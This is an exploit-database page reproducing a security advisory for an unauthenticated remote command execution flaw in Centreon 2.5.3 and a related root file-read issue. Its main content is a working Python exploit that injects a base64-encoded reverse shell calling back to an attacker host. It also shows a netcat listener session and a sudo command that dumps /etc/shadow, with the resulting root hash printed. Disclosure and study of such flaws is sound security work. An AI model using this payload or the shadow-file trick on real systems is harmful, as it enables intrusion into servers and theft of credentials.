Menu

Search for hundreds of thousands of exploits

"Centreon 2.5.3 - Remote Command Execution"

Author

Exploit author

Sysdream

Platform

Exploit platform

php

Release date

Exploit published date

2016-02-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
Unauthenticated Remote Command Execution in Centreon Web Interface
==================================================================


Description
===========

Centreon is a popular monitoring solution.

A critical vulnerability has been found in the Centreon logging class
allowing remote users to execute arbitrary commands.


SQL injection leading to RCE
============================

Centreon logs SQL database errors in a log file using the "echo" system
command and the exec() PHP function. On the authentification class,
Centreon use htmlentities with the ENT_QUOTES options to filter SQL
entities.
However, Centreon doesn't filter the SQL escape character "\" and it is
possible to generate an SQL Error.
Because of the use of the "echo" system command with the PHP exec()
function, and because of the lack of sanitization, it is possible to
inject arbitrary system commands.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-78

----------------
Proof of Concept
----------------

TCP Reverse Shell using python.

    #!/usr/bin/env python
    import requests
    import argparse

    def shell(target, reverseip, reverseport):
        payload = 'import socket as a,subprocess as b,os as
c;s=a.socket(2,1);s.connect(("%s",%d));d=s.fileno();c.dup2(d,0);c.dup2(d,1);c.dup2(d,2);p=b.call(["sh"]);'
% (reverseip,reverseport)
        print "[~] Starting reverseshell : %s - port : %d" % (reverseip,
reverseport)
        req = requests.post(target, data={"useralias": "$(echo %s |
base64 -d | python)\\" % payload.encode("base64").replace("\n",""),
"password": "foo"})
        print "[+] DEAD !"

    if __name__ == "__main__":
        print "[~] Centreon Unauthentificated RCE - Nicolas Chatelain
<n.chatelain@sysdream.com>"
        parser = argparse.ArgumentParser()
        parser.add_argument("--target", required=True)
        parser.add_argument("--reverseip", required=True)
        parser.add_argument("--reverseport", required=True, type=int)
        args = parser.parse_args()
        shell(args.target, args.reverseip, args.reverseport)

Shell :

    nightlydev@nworkstation ~/Lab/Centreon $ python reverseshell.py
--target=http://172.16.138.137/centreon/index.php
--reverseip=172.16.138.1 --reverseport 8888
    [~] Centreon Unauthentificated RCE - Nicolas Chatelain
<n.chatelain@sysdream.com>
    [~] Starting reverseshell : 172.16.138.1 - port : 8888

# Other term

nightlydev@nworkstation ~/Lab/Centreon $ nc -lvp 8888
Ncat: Version 6.45 ( http://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 172.16.138.135.
Ncat: Connection from 172.16.138.135:50050.
whoami
apache
groups
apache centreon-engine centreon-broker centreon nagios


---------------
Vulnerable code
---------------

The vulnerable code is located in class/centreonLog.class.php, line 82
and line 154:


		/*
		 * print Error in log file.
		 */
		exec("echo \"".$string."\" >> ".$this->errorType[$id]);

In class/centreonAuth.class.php, line 227:

	 $DBRESULT = $this->pearDB->query("SELECT * FROM `contact` WHERE
`contact_alias` = '" . htmlentities($username, ENT_QUOTES, "UTF-8") . "'
AND `contact_activate` = '1' AND 		 `contact_register` = '1' LIMIT 1");


--------
Solution
--------

Update to the Centreon 2.5.4


Possible root password disclosure in centengine (Centreon Entreprise Server)
============================================================================

In some configurations, when centengine can run as root (with sudo).
It's possible to read some file content.

**Access Vector**: local

**Security Risk**: high

**Vulnerability**: CWE-209

----------------
Proof of Concept
----------------

    $ sudo /usr/sbin/centengine -v /etc/shadow
    [1416391088] reading main config file
    [1416391088] error while processing a config file: [/etc/shadow:1]
bad variable name:
'root:$6$3mvvEHQM3p3afuh4$DZ377daOy.8bn42t7ur82/Geplvsj90J7cs1xsgAbRZ0JDZ8KdB5CcQ0ucF5dwKpnBYLon1XBqjJPqpm6Zr5R0:16392:0:99999:7:::'
    [1416391088]

---------------
Vulnerable code
---------------

In Centreon Entreprise Server (CES) : /etc/sudoers.d/centreon

CENTREON   ALL = NOPASSWD: /usr/sbin/centengine -v *

--------
Solution
--------

Do not allow centengine to be run as root or do not disclose the line
that caused the error.

Timeline (dd/mm/yyyy)
=====================

* 18/11/2014 : Initial discovery
* 26/11/2014 : Contact with Centreon team
* 27/11/2014 : Centreon correct vulnerabilities
* 27/11/2014 : Centreon release version 2.5.4 that fixes vulnerabilities

Fixes
=====

*
https://github.com/centreon/centreon/commit/a6dd914418dd185a698050349e05f10438fde2a9
*
https://github.com/centreon/centreon/commit/d00f3e015d6cf64e45822629b00068116e90ae4d
*
https://github.com/centreon/centreon/commit/015e875482d7ff6016edcca27bffe765c2bd77c1

Affected versions
=================

* Centreon <= 2.5.3


Credits
=======

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-01-14 "AudioCode 400HD - Command Injection" webapps cgi Sysdream
2018-05-30 "Dolibarr ERP/CRM 7.0.0 - (Authenticated) SQL Injection" webapps php Sysdream
2018-01-05 "Gespage 7.4.8 - SQL Injection" webapps jsp Sysdream
2017-10-02 "UCOPIA Wireless Appliance < 5.1.8 - Local Privilege Escalation" local linux Sysdream
2017-10-02 "UCOPIA Wireless Appliance < 5.1.8 - Restricted Shell Escape" local linux Sysdream
2017-10-02 "phpCollab 2.5.1 - Arbitrary File Upload" webapps php Sysdream
2017-10-02 "phpCollab 2.5.1 - SQL Injection" webapps php Sysdream
2017-05-05 "ViMbAdmin 3.0.15 - Multiple Cross-Site Request Forgery Vulnerabilities" webapps php Sysdream
2017-03-27 "EyesOfNetwork (EON) 5.0 - Remote Code Execution" webapps php Sysdream
2017-03-27 "Nuxeo 6.0/7.1/7.2/7.3 - Remote Code Execution (Metasploit)" webapps jsp Sysdream
2017-03-27 "EyesOfNetwork (EON) 5.0 - SQL Injection" webapps php Sysdream
2016-10-20 "SPIP 3.1.2 Template Compiler/Composer - PHP Code Execution" webapps php Sysdream
2016-10-20 "SPIP 3.1.1/3.1.2 - File Enumeration / Path Traversal" webapps php Sysdream
2016-10-20 "SPIP 3.1.2 - Cross-Site Request Forgery" webapps php Sysdream
2016-07-06 "OpenFire 3.10.2 < 4.0.1 - Multiple Vulnerabilities" webapps jsp Sysdream
2016-02-26 "Zimbra 8.0.9 GA - Cross-Site Request Forgery" webapps linux Sysdream
2016-02-26 "Centreon 2.5.3 - Remote Command Execution" webapps php Sysdream
2016-02-26 "Proxmox VE 3/4 - Insecure Hostname Checking Remote Command Execution" remote linux Sysdream
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.